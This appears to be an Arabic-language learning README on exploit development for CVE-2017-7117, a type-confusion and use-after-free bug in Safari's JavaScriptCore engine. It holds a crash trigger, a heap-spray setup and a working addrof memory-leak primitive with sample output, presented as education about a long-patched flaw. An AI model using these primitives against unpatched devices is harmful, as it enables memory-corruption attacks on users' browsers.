
ثغرة خلط بين الأنواع وUAF وُجدت في iOS 10.3.4 وإصدارات أقدم، وSafari قبل 11.0.
CVE-2017-7117: mitre.org
اكتُشفت بواسطة @lokihardt، المصدر: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
تشغيل الكود أعلاه سيؤدي إلى تعطّل JSC.
نُنشئ مصفوفة كبيرة arr، بحيث يرتبك مُصرِّف JIT فيظن أنها سلسلة نصية.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
عندما نفقد المرجع إلى i، نحتفظ بالوصول إلى المصفوفة الأصلية arr ويمكننا قراءة الذاكرة الكامنة.
من خلال رشّ قيمة معروفة يمكننا العثور على هذا ثم التنقّل لأعلى لتحديد مؤشر أي كائن.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
تُقرأ القيم في الذاكرة عبر Uint32Array، البتات السفلية أولاً ثم العلوية.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
يمكنك التحقق من صحة العنوان باستخدام describe()
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
تم اختباره حاليًا على:
لا يعمل (بعد) على iPhone 5 وiOS 10.3.4. لنتعرّف على السبب ...
يُوفَّر هذا المستودع كمورد تعليمي لتوثيق مسار تعلّمي في تطوير الاستغلالات. تم إصلاح هذه الثغرة (CVE) منذ أكثر من 7 سنوات. لا تستخدم هذا لأغراض خبيثة، بالطبع.